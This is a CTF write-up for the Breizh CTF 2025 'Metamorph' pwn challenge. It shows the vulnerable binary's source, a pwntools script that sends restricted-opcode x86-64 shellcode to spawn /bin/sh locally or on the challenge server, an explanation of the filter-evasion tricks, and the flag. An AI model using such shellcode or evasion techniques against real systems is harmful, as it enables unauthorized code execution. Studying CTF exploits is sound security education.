Breizh CTF 2025 - Metamorph

Challenge Description
Metamorph is a Pwn category challenge from Breizh CTF 2025. It is a binary that accepts a shellcode as input but imposes certain restrictions on the usable opcodes.
Binary Analysis
By examining the binary’s source code, we notice several important points:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
void transform() {
void *shellcode;
ssize_t bytes_read;
shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (shellcode == MAP_FAILED) {
perror("mmapi fail.");
exit(1);
}
printf("Métamorph is waiting for its code... Transform it!\n");
printf(">> ");
bytes_read = read(0, shellcode, 0x50);
if (bytes_read <= 0) {
perror("read failed");
exit(1);
}
// Morphing...
unsigned char *sc = (unsigned char *)shellcode;
for (int i = 0; i < 0x50; i++) {
if (sc[i] == 0x62){
perror("Métamorph doesn't like 'b'.");
exit(1);
}
if (sc[i] == 0x5e){
perror("Métamorph doesn't like pop rsi.");
exit(1);
}
if (sc[i] == 0x31){
perror("Métamorph doesn't like xor.");
exit(1);
}
if (sc[i] == 0x50){
perror("Métamorph doesn't like push rax.");
exit(1);
}
}
((void (*)())shellcode)();
}
The constraints are as follows:
- The shellcode is limited to a maximum of 80 bytes
- The following opcodes are forbidden:
0x62
(opcode ‘b’)0x5e
(pop rsi)0x31
(xor)0x50
(push rax)
The program allocates an executable memory region with mmap
, reads our input into it, checks the constraints, then executes the provided code.
Exploitation
The goal is to create a shellcode that executes the /bin/sh
command while avoiding the forbidden opcodes.
After several attempts, I was able to develop a shellcode that bypasses these restrictions:
from pwn import *
import sys
if len(sys.argv) > 1 and sys.argv[1] == "REMOTE":
conn = remote('morph-180.chall.ctf.bzh', 1337)
else:
conn = process('./metamorph')
conn.recvuntil(b">>")
conn.sendline(b"\xba\x00\x00\x00\x00\xbe\x00\x00\x00\x00\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x48\x89\xe7\xb8\x00\x00\x00\x00\x48\x83\xc0\x3b\x0f\x05\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80")
conn.interactive()
Shellcode Explanation
The shellcode above uses several techniques to avoid the forbidden opcodes:
- Instead of using
xor
to initialize registers, I use directmov
instructions with immediate zero values - I used alternative techniques to store
/bin/sh
in the registers - I use
not
thenneg
to obtain the/bin/sh
string - Using
mov rax, 0
followed byadd rax, 59
avoids the direct use ofxor rax, rax
The /bin/sh
string is encoded reversed and bitwise complemented to avoid problematic opcodes.
Flag
Once the shellcode is successfully executed, you get a shell on the remote server and can read the flag with the command cat flag.txt
.
$ cat flag.txt
BZHCTF{m3t4_m0rph_m4573r_1337}